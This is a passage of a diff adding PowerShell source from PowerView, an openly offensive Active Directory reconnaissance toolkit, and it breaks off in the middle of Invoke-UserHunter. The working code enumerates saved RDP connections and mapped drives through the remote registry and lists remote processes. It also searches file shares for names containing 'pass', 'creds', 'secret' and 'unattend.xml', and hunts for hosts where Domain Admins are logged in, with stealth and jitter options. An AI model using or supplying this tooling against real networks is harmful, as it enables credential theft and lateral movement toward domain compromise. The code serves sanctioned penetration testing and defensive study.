+ $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
+
+ $FoundConnection = New-Object PSObject
+ $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
+ $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
+ $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
+ $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
+ $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
+ $FoundConnection
+ }
+ }
+
+ # pull out all the cached server info with username hints
+ $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
+
+ foreach ($Server in $ServerKeys) {
+
+ $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
+
+ $FoundConnection = New-Object PSObject
+ $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
+ $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
+ $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
+ $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
+ $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
+ $FoundConnection
+ }
+
+ }
+ catch {
+ Write-Verbose "Error: $_"
+ }
+ }
+
+ }
+ catch {
+ Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
+ }
+}
+
+
+filter Get-RegistryMountedDrive {
+<#
+ .SYNOPSIS
+
+ Uses remote registry functionality to query all entries for the
+ the saved network mounted drive on a machine, separated by
+ user and target server.
+
+ Note: This function requires administrative rights on the
+ machine you're enumerating.
+
+ .PARAMETER ComputerName
+
+ The hostname to query for RDP client information.
+ Defaults to localhost.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object for the remote connection.
+
+ .EXAMPLE
+
+ PS C:\> Get-RegistryMountedDrive
+
+ Returns the saved network mounted drives for the local machine.
+
+ .EXAMPLE
+
+ PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local
+
+ Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
+
+ .EXAMPLE
+
+ PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred
+
+ Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-RegistryMountedDrive
+
+ Get the saved network mounted drives for all machines in the domain.
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost',
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # HKEY_USERS
+ $HKU = 2147483651
+
+ try {
+ if($Credential) {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
+ }
+ else {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
+ }
+
+ # extract out the SIDs of domain users in this hive
+ $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
+
+ foreach ($UserSID in $UserSIDs) {
+
+ try {
+ $UserName = Convert-SidToName $UserSID
+
+ $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
+
+ ForEach($DriveLetter in $DriveLetters) {
+ $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
+ $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
+ $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
+ if(-not $UserName) { $UserName = '' }
+
+ if($RemotePath -and ($RemotePath -ne '')) {
+ $MountedDrive = New-Object PSObject
+ $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
+ $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
+ $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
+ $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
+ $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
+ $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
+ $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
+ $MountedDrive
+ }
+ }
+ }
+ catch {
+ Write-Verbose "Error: $_"
+ }
+ }
+ }
+ catch {
+ Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
+ }
+}
+
+
+filter Get-NetProcess {
+<#
+ .SYNOPSIS
+
+ Gets a list of processes/owners on a remote machine.
+
+ .PARAMETER ComputerName
+
+ The hostname to query processes. Defaults to the local host name.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object for the remote connection.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetProcess -ComputerName WINDOWS1
+
+ Returns the current processes for WINDOWS1
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = [System.Net.Dns]::GetHostName(),
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ try {
+ if($Credential) {
+ $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential
+ }
+ else {
+ $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName
+ }
+
+ $Processes | ForEach-Object {
+ $Owner = $_.getowner();
+ $Process = New-Object PSObject
+ $Process | Add-Member Noteproperty 'ComputerName' $Computer
+ $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
+ $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
+ $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
+ $Process | Add-Member Noteproperty 'User' $Owner.User
+ $Process
+ }
+ }
+ catch {
+ Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_"
+ }
+}
+
+
+function Find-InterestingFile {
+<#
+ .SYNOPSIS
+
+ This function recursively searches a given UNC path for files with
+ specific keywords in the name (default of pass, sensitive, secret, admin,
+ login and unattend*.xml). The output can be piped out to a csv with the
+ -OutFile flag. By default, hidden files/folders are included in search results.
+
+ .PARAMETER Path
+
+ UNC/local path to recursively search.
+
+ .PARAMETER Terms
+
+ Terms to search for.
+
+ .PARAMETER OfficeDocs
+
+ Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
+
+ .PARAMETER FreshEXEs
+
+ Switch. Find .EXEs accessed within the last week.
+
+ .PARAMETER LastAccessTime
+
+ Only return files with a LastAccessTime greater than this date value.
+
+ .PARAMETER LastWriteTime
+
+ Only return files with a LastWriteTime greater than this date value.
+
+ .PARAMETER CreationTime
+
+ Only return files with a CreationTime greater than this date value.
+
+ .PARAMETER ExcludeFolders
+
+ Switch. Exclude folders from the search results.
+
+ .PARAMETER ExcludeHidden
+
+ Switch. Exclude hidden files and folders from the search results.
+
+ .PARAMETER CheckWriteAccess
+
+ Switch. Only returns files the current user has write access to.
+
+ .PARAMETER OutFile
+
+ Output results to a specified csv output file.
+
+ .PARAMETER UsePSDrive
+
+ Switch. Mount target remote path with temporary PSDrives.
+
+ .OUTPUTS
+
+ The full path, owner, lastaccess time, lastwrite time, and size for each found file.
+
+ .EXAMPLE
+
+ PS C:\> Find-InterestingFile -Path C:\Backup\
+
+ Returns any files on the local path C:\Backup\ that have the default
+ search term set in the title.
+
+ .EXAMPLE
+
+ PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
+
+ Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
+ or 'email' in the title, and writes the results out to a csv file
+ named 'out.csv'
+
+ .EXAMPLE
+
+ PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7)
+
+ Returns any files on the remote path \\WINDOWS7\Users\ that have the default
+ search term set in the title and were accessed within the last week.
+
+ .LINK
+
+ http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
+#>
+
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $Path = '.\',
+
+ [Alias('Terms')]
+ [String[]]
+ $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),
+
+ [Switch]
+ $OfficeDocs,
+
+ [Switch]
+ $FreshEXEs,
+
+ [String]
+ $LastAccessTime,
+
+ [String]
+ $LastWriteTime,
+
+ [String]
+ $CreationTime,
+
+ [Switch]
+ $ExcludeFolders,
+
+ [Switch]
+ $ExcludeHidden,
+
+ [Switch]
+ $CheckWriteAccess,
+
+ [String]
+ $OutFile,
+
+ [Switch]
+ $UsePSDrive
+ )
+
+ begin {
+
+ $Path += if(!$Path.EndsWith('\')) {"\"}
+
+ if ($Credential) {
+ $UsePSDrive = $True
+ }
+
+ # append wildcards to the front and back of all search terms
+ $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }
+
+ # search just for office documents if specified
+ if ($OfficeDocs) {
+ $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
+ }
+
+ # find .exe's accessed within the last 7 days
+ if($FreshEXEs) {
+ # get an access time limit of 7 days ago
+ $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
+ $SearchTerms = '*.exe'
+ }
+
+ if($UsePSDrive) {
+ # if we're PSDrives, create a temporary mount point
+
+ $Parts = $Path.split('\')
+ $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
+ $FilePath = $Parts[-1]
+
+ $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
+
+ Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"
+
+ try {
+ $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
+ }
+ catch {
+ Write-Verbose "Error mounting path '$Path' : $_"
+ return $Null
+ }
+
+ # so we can cd/dir the new drive
+ $Path = "${RandDrive}:\${FilePath}"
+ }
+ }
+
+ process {
+
+ Write-Verbose "[*] Search path $Path"
+
+ function Invoke-CheckWrite {
+ # short helper to check is the current user can write to a file
+ [CmdletBinding()]param([String]$Path)
+ try {
+ $Filetest = [IO.FILE]::OpenWrite($Path)
+ $Filetest.Close()
+ $True
+ }
+ catch {
+ Write-Verbose -Message $Error[0]
+ $False
+ }
+ }
+
+ $SearchArgs = @{
+ 'Path' = $Path
+ 'Recurse' = $True
+ 'Force' = $(-not $ExcludeHidden)
+ 'Include' = $SearchTerms
+ 'ErrorAction' = 'SilentlyContinue'
+ }
+
+ Get-ChildItem @SearchArgs | ForEach-Object {
+ Write-Verbose $_
+ # check if we're excluding folders
+ if(!$ExcludeFolders -or !$_.PSIsContainer) {$_}
+ } | ForEach-Object {
+ if($LastAccessTime -or $LastWriteTime -or $CreationTime) {
+ if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_}
+ elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_}
+ elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_}
+ }
+ else {$_}
+ } | ForEach-Object {
+ # filter for write access (if applicable)
+ if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_}
+ } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {
+ # check if we're outputting to the pipeline or an output file
+ if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile}
+ else {$_}
+ }
+ }
+
+ end {
+ if($UsePSDrive -and $RandDrive) {
+ Write-Verbose "Removing temp PSDrive $RandDrive"
+ Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
+ }
+ }
+}
+
+
+########################################################
+#
+# 'Meta'-functions start below
+#
+########################################################
+
+function Invoke-ThreadedFunction {
+ # Helper used by any threaded host enumeration functions
+ [CmdletBinding()]
+ param(
+ [Parameter(Position=0,Mandatory=$True)]
+ [String[]]
+ $ComputerName,
+
+ [Parameter(Position=1,Mandatory=$True)]
+ [System.Management.Automation.ScriptBlock]
+ $ScriptBlock,
+
+ [Parameter(Position=2)]
+ [Hashtable]
+ $ScriptParameters,
+
+ [Int]
+ [ValidateRange(1,100)]
+ $Threads = 20,
+
+ [Switch]
+ $NoImports
+ )
+
+ begin {
+
+ if ($PSBoundParameters['Debug']) {
+ $DebugPreference = 'Continue'
+ }
+
+ Write-Verbose "[*] Total number of hosts: $($ComputerName.count)"
+
+ # Adapted from:
+ # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
+ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
+ $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
+
+ # import the current session state's variables and functions so the chained PowerView
+ # functionality can be used by the threaded blocks
+ if(!$NoImports) {
+
+ # grab all the current variables for this runspace
+ $MyVars = Get-Variable -Scope 2
+
+ # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
+ $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
+
+ # Add Variables from Parent Scope (current runspace) into the InitialSessionState
+ ForEach($Var in $MyVars) {
+ if($VorbiddenVars -NotContains $Var.Name) {
+ $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
+ }
+ }
+
+ # Add Functions from current runspace to the InitialSessionState
+ ForEach($Function in (Get-ChildItem Function:)) {
+ $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
+ }
+ }
+
+ # threading adapted from
+ # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
+ # Thanks Carlos!
+
+ # create a pool of maxThread runspaces
+ $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
+ $Pool.Open()
+
+ $Jobs = @()
+ $PS = @()
+ $Wait = @()
+
+ $Counter = 0
+ }
+
+ process {
+
+ ForEach ($Computer in $ComputerName) {
+
+ # make sure we get a server name
+ if ($Computer -ne '') {
+ # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))"
+
+ While ($($Pool.GetAvailableRunspaces()) -le 0) {
+ Start-Sleep -MilliSeconds 500
+ }
+
+ # create a "powershell pipeline runner"
+ $PS += [powershell]::create()
+
+ $PS[$Counter].runspacepool = $Pool
+
+ # add the script block + arguments
+ $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
+ if($ScriptParameters) {
+ ForEach ($Param in $ScriptParameters.GetEnumerator()) {
+ $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value)
+ }
+ }
+
+ # start job
+ $Jobs += $PS[$Counter].BeginInvoke();
+
+ # store wait handles for WaitForAll call
+ $Wait += $Jobs[$Counter].AsyncWaitHandle
+ }
+ $Counter = $Counter + 1
+ }
+ }
+
+ end {
+
+ Write-Verbose "Waiting for scanning threads to finish..."
+
+ $WaitTimeout = Get-Date
+
+ # set a 60 second timeout for the scanning threads
+ while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -and $($($(Get-Date) - $WaitTimeout).totalSeconds) -lt 60) {
+ Start-Sleep -MilliSeconds 500
+ }
+
+ # end async call
+ for ($y = 0; $y -lt $Counter; $y++) {
+
+ try {
+ # complete async job
+ $PS[$y].EndInvoke($Jobs[$y])
+
+ } catch {
+ Write-Warning "error: $_"
+ }
+ finally {
+ $PS[$y].Dispose()
+ }
+ }
+
+ $Pool.Dispose()
+ Write-Verbose "All threads completed!"
+ }
+}
+
+
+function Invoke-UserHunter {
+<#
+ .SYNOPSIS
+
+ Finds which machines users of a specified group are logged into.
+
+ Author: @harmj0y
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+
+ This function finds the local domain name for a host using Get-NetDomain,
+ queries the domain for users of a specified group (default "domain admins")
+ with Get-NetGroupMember or reads in a target user list, queries the domain for all
+ active machines with Get-NetComputer or reads in a pre-populated host list,
+ randomly shuffles the target list, then for each server it gets a list of
+ active users with Get-NetSession/Get-NetLoggedon. The found user list is compared
+ against the target list, and a status message is displayed for any hits.
+ The flag -CheckAccess will check each positive host to see if the current
+ user has local admin access to the machine.
+
+ .PARAMETER ComputerName
+
+ Host array to enumerate, passable on the pipeline.
+
+ .PARAMETER ComputerFile
+
+ File of hostnames/IPs to search.
+
+ .PARAMETER ComputerFilter
+
+ Host filter name to query AD for, wildcards accepted.
+
+ .PARAMETER ComputerADSpath
+
+ The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER Unconstrained
+
+ Switch. Only enumerate computers that have unconstrained delegation.
+
+ .PARAMETER GroupName
+
+ Group name to query for target users.
+
+ .PARAMETER TargetServer
+
+ Hunt for users who are effective local admins on a target server.
+
+ .PARAMETER UserName
+
+ Specific username to search for.
+
+ .PARAMETER UserFilter
+
+ A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
+
+ .PARAMETER UserADSpath
+
+ The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER UserFile
+
+ File of usernames to search for.
+
+ .PARAMETER AdminCount
+
+ Switch. Hunt for users with adminCount=1.
+
+ .PARAMETER AllowDelegation
+
+ Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
+
+ .PARAMETER StopOnSuccess
+
+ Switch. Stop hunting after finding after finding a target user.
+
+ .PARAMETER NoPing
+
+ Don't ping each host to ensure it's up before enumerating.
+
+ .PARAMETER CheckAccess
+
+ Switch. Check if the current user has local admin access to found machines.
+
+ .PARAMETER Delay
+
+ Delay between enumerating hosts, defaults to 0
+
+ .PARAMETER Jitter
+
+ Jitter for the host delay, defaults to +/- 0.3
+
+ .PARAMETER Domain
+
+ Domain for query for machines, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ShowAll
+
+ Switch. Return all user location results, i.e. Invoke-UserView functionality.
+
+ .PARAMETER SearchForest
+
+ Switch. Search all domains in the forest for target users instead of just
+ a single domain.
+
+ .PARAMETER Stealth
+
+ Switch. Only enumerate sessions from connonly used target servers.
+
+ .PARAMETER StealthSource
+
+ The source of target servers to use, 'DFS' (distributed file servers),
+ 'DC' (domain controllers), 'File' (file servers), or 'All'
+
+ .PARAMETER ForeignUsers
+
+ Switch. Only return results that are not part of searched domain.
+
+ .PARAMETER Threads
+
+ The maximum concurrent threads to execute.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-UserHunter -CheckAccess
+
+ Finds machines on the local domain where domain admins are logged into
+ and checks if the current user has local administrator access.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-UserHunter -Domain 'testing'
+
+ Finds machines on the 'testing' domain where domain admins are logged into.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-UserHunter -Threads 20
+
+ Multi-threaded user hunting, replaces Invoke-UserHunterThreaded.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt
+
+ Finds machines in hosts.txt where any members of users.txt are logged in
+ or have sessions.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60
+
+ Find machines on the domain where members of the "Power Users" groups are
+ logged into with a 60 second (+/- *.3) randomized delay between
+ touching each host.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-UserHunter -TargetServer FILESERVER
+
+ Query FILESERVER for useres who are effective local administrators using
+ Get-NetLocalGroup -Recurse, and hunt for that user set on the network.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-UserHunter -SearchForest
+
+ Find all machines in the current forest where domain admins are logged in.
+
+ .EXAMPLE
+
+ PS C:\> Invoke-UserHunter -Stealth
+
+ Executes old Invoke-StealthUserHunter functionality, enumerating commonly
+ used servers and checking just sessions for each.
+
+ .LINK
+ http://blog.harmj0y.net
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Alias('Hosts')]
+ [String[]]
+ $ComputerName,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [Alias('HostList')]
+ [String]
+ $ComputerFile,
+
+ [String]
+ $ComputerFilter,
+
+ [String]
+ $ComputerADSpath,
+
+ [Switch]
+ $Unconstrained,
+
+ [String]
+ $GroupName = 'Domain Admins',
+
+ [String]
+ $TargetServer,
+
+ [String]
+ $UserName,
+
+ [String]
+ $UserFilter,
+
+ [String]
+ $UserADSpath,
+
+ [ValidateScript({Test-Path -Path $_ })]
+ [String]
+ $UserFile,
+
+ [Switch]
+ $AdminCount,
+
+ [Switch]
+ $AllowDelegation,
+
+ [Switch]
+ $CheckAccess,
+
+ [Switch]
+ $StopOnSuccess,
+
+ [Switch]
+ $NoPing,
+
+ [UInt32]
+ $Delay = 0,
+
+ [Double]
+ $Jitter = .3,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [Switch]
+ $ShowAll,
+
+ [Switch]
+ $SearchForest,
+
+ [Switch]
+ $Stealth,
+
+ [String]
+ [ValidateSet("DFS","DC","File","All")]
+ $StealthSource ="All",
+
+ [Switch]
+ $ForeignUsers,
+
+ [Int]
+ [ValidateRange(1,100)]
+ $Threads
+ )
+
+ begin {
+
+ if ($PSBoundParameters['Debug']) {
+ $DebugPreference = 'Continue'
+ }
+
+ # random object for delay
+ $RandNo = New-Object System.Random
+
+ Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay"
+
+ #####################################################
+ #
+ # First we build the host target set
+ #
+ #####################################################
+
+ if($ComputerFile) {
+ # if we're using a host list, read the targets in and add them to the target list
+ $ComputerName = Get-Content -Path $ComputerFile
+ }
+
+ if(!$ComputerName) {
+ [Array]$ComputerName = @()
+
+ if($Domain) {
+ $TargetDomains = @($Domain)
+ }
+ elseif($SearchForest) {
+ # get ALL the domains in the forest to search
+ $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
+ }
+ else {
+ # use the local domain
+ $TargetDomains = @( (Get-NetDomain).name )
+ }
+
+ if($Stealth) {
+ Write-Verbose "Stealth mode! Enumerating commonly used servers"
+ Write-Verbose "Stealth source: $StealthSource"
+
+ ForEach ($Domain in $TargetDomains) {
+ if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) {
+ Write-Verbose "[*] Querying domain $Domain for File Servers..."
+ $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController
+ }
+ if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) {
+ Write-Verbose "[*] Querying domain $Domain for DFS Servers..."
+ $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}
+ }
+ if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) {
+ Write-Verbose "[*] Querying domain $Domain for Domain Controllers..."
+ $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}
+ }
+ }
+ }
+ else {
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for hosts"
+
+ $Arguments = @{
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'ADSpath' = $ADSpath
+ 'Filter' = $ComputerFilter
+ 'Unconstrained' = $Unconstrained
+ }
+
+ $ComputerName += Get-NetComputer @Arguments
+ }
+ }
+
+ # remove any null target hosts, uniquify the list and shuffle it
+ $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
+ if($($ComputerName.Count) -eq 0) {
+ throw "No hosts found!"
+ }
+ }
+
+ #####################################################
+ #
+ # Now we build the user target set
+ #
+ #####################################################
+
+ # users we're going to be searching for
+ $TargetUsers = @()
+
+ # get the current user so we can ignore it in the results
+ $CurrentUser = ([Environment]::UserName).toLower()
+
+ # if we're showing all results, skip username enumeration
+ if($ShowAll -or $ForeignUsers) {
+ $User = New-Object PSObject
+ $User | Add-Member Noteproperty 'MemberDomain' $Null
+ $User | Add-Member Noteproperty 'MemberName' '*'
+ $TargetUsers = @($User)
+
+ if($ForeignUsers) {
+ # if we're searching for user results not in the primary domain
+ $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4
+ $DomainShortName = $krbtgtName.split("\")[0]
+ }
+ }
+ # if we want to hunt for the effective domain users who can access a target server
+ elseif($TargetServer) {
+ Write-Verbose "Querying target server '$TargetServer' for local users"
+ $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
+ $User = New-Object PSObject
+ $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower()
+ $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower()
+ $User
+ } | Where-Object {$_}
+ }
+ # if we get a specific username, only use that
+ elseif($UserName) {
+ Write-Verbose "[*] Using target user '$UserName'..."
+ $User = New-Object PSObject
+ if($TargetDomains) {
+ $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
+ }
+ else {
+ $User | Add-Member Noteproperty 'MemberDomain' $Null
+ }
+ $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()
+ $TargetUsers = @($User)
+ }
+ # read in a target user list if we have one
+ elseif($UserFile) {
+ $TargetUsers = Get-Content -Path $UserFile | ForEach-Object {
+ $User = New-Object PSObject
+ if($TargetDomains) {
+ $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
+ }
+ else {
+ $User | Add-Member Noteproperty 'MemberDomain' $Null
+ }
+ $User | Add-Member Noteproperty 'MemberName' $_
+ $User
+ } | Where-Object {$_}
+ }
+ elseif($UserADSpath -or $UserFilter -or $AdminCount) {
+ ForEach ($Domain in $TargetDomains) {
+
+ $Arguments = @{
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'ADSpath' = $UserADSpath
+ 'Filter' = $UserFilter
+ 'AdminCount' = $AdminCount
+ 'AllowDelegation' = $AllowDelegation
+ }
+
+ Write-Verbose "[*] Querying domain $Domain for users"
+ $TargetUsers += Get-NetUser @Arguments | ForEach-Object {
+ $User = New-Object PSObject
+ $User | Add-Member Noteproperty 'MemberDomain' $Domain
+ $User | Add-Member Noteproperty 'MemberName' $_.samaccountname
+ $User
+ } | Where-Object {$_}
+
+ }
+ }
+ else {
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
+ $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController
+ }
+ }
+
+ if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
+ throw "[!] No users found to search for!"
+ }
+
+ # script block that enumerates a server
+ $HostEnumBlock = {
+ param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName)
+
+ # optionally check if the server is up first
+ $Up = $True
+ if($Ping) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
+ }
+ if($Up) {
+ if(!$DomainShortName) {
+ # if we're not searching for foreign users, check session information
+ $Sessions = Get-NetSession -ComputerName $ComputerName
+ ForEach ($Session in $Sessions) {
+ $UserName = $Session.sesi10_username
+ $CName = $Session.sesi10_cname
+
+ if($CName -and $CName.StartsWith("\\")) {
+ $CName = $CName.TrimStart("\")
+ }
+
+ # make sure we have a result
+ if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {
+
+ $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
+
+ $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
+ $FoundUser = New-Object PSObject
+ $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain
+ $FoundUser | Add-Member Noteproperty 'UserName' $UserName
+ $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
+ $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
+
+ # Try to resolve the DNS hostname of $Cname
+ try {
+ $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
+ $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
+ }
+ catch {
+ $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null
+ }
+
+ # see if we're checking to see if we have local admin access on this machine
